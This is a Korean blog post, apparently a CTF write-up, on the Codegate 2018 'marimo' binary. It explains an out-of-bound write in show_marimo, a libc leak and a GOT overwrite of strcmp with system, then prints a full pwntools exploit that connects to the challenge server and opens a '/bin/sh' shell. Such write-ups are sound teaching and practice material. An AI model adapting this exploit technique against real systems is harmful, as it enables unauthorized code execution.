티스토리 뷰
기본적인 방어기법이 모두 enable된 것을 확인할 수 있고, 64bit 바이너리이다.
해당 바이너리도 취약점은 어렵지 않게 찾을 수 있다.
marimo 구조체의 heap 영역 주소를 저장하는 buffer의 길이는 BuyMarimo 함수에서 27번째 줄에 따라 15인 것을 확인할 수 있다. 하지만 여기서 단순히 15만 확인하고 있다는 것도 중요한 취약 포인트이다.
show_marimo 함수에서 10번째 줄에 새로 할당한 marimo를 List에 넣고 Offset을 1 증가시키는데 Buy랑 달리 Offset을 체크하는 루틴이 전혀 존재하지 않는다. 따라서 Out-of-bound 취약점이 발생하고, 데이터 영역에서 이 취약점을 통해 Memory corruption이 가능하다.
공격 방법
- Out-of-bound 취약점을 통해 덮을 수 있는 것들은 데이터 영역(GOT 포함)의 값이지만, 오로지 랜덤한 heap 주소만을 덮을 수 있다.
- 기본적으로 바이너리에서 전역 변수로 사용하는 것에는 global offset, marimo heap ptr buffer[15], total money이다.
- money를 임의적인 크기만큼 증가가능하므로, money의 위치에 힙 주소를 덮어쓰면, 힙 주소를 이용할 수 있게 된다.
- marimo 내부에는 추가로 name과 profile을 위한 heap 주소가 본래 들어가는데, 데이터로 got 영역을 채워주면 위의 과정과 합쳐 got overwrite가 가능
exploit 코드
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 | #!/usr/bin/python from pwn import * def Exploit(s): print s.recvuntil("name : ") tmp = s.recvuntil("profile : ").split("\n")[0] main_addr = u64(tmp + "\x00"*(8 - len(tmp))) print "leak : " + hex(main_addr) libc_base = main_addr - 0x20740 # ret = 20830 system = libc_base + 0x45390 print s.recvuntil(">> ") s.sendline("M") print s.recvuntil(">> ") s.sendline(p64(system)[:-1]) print s.recvuntil(">> ") s.sendline("B") print s.recvuntil(">> ") s.sendline("A;/bin/sh") def ShowMarimo(s, name, profile): print s.recvuntil(">> ") s.sendline("show me the marimo") print s.recvuntil(">> ") s.sendline(name) print s.recvuntil(">> ") s.sendline(profile) def ViewBawl(s, select, modify, profile): print s.recvuntil(">> ") s.sendline("V;/bin/sh") print s.recvuntil(">> ") s.sendline(select) if modify: Exploit(s) def BuyMarimo(s, size, play, name, profile): print s.recvuntil(">> ") s.sendline("B") print s.recvuntil(">> ") s.sendline(size) if play: print s.recvuntil(">> ") s.sendline("P") print s.recvuntil(">> ") s.sendline(name) print s.recvuntil(">> ") s.sendline(profile) def SellMarimo(s, select): print s.recvuntil(">> ") s.sendline("S") print s.recvuntil(">> ") s.sendline(select) print s.recvuntil("[S]ell / [R]un away ?") s.sendline("S") def main(): pr = 0x4013c3 ppr = 0x4013c1 s = remote("ch41l3ng3s.codegate.kr", 3333) # s = process("./marimo") elf = ELF("./marimo") stdin = 0x400ff9 puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] libc_main = elf.got['__libc_start_main'] strcmp_got = elf.got['strcmp'] print hex(libc_main) pause() for i in xrange(20): ShowMarimo(s, "AAA", "BBBB" + p64(0xdeadbeef) + p64(libc_main) + p64(strcmp_got)) BuyMarimo(s, "36", True, "AAA", "DDD") SellMarimo(s, "20") ViewBawl(s, "?", True, p64(stdin)) s.interactive() s.close() if __name__ == '__main__': main() | cs |
'Wargame & CTF > CTF' 카테고리의 다른 글
[Codegate 2018] BaskinRobins31 (0) | 2018.02.05 |
---|---|
[Codegate 2018] RedVelvet (0) | 2018.02.05 |
[Defcon 2017 예선] beatmeonthedl (0) | 2017.05.01 |
[Defcon 2017 예선] smashme (0) | 2017.05.01 |
[Code Gate 2017] Messenger (0) | 2017.02.16 |
댓글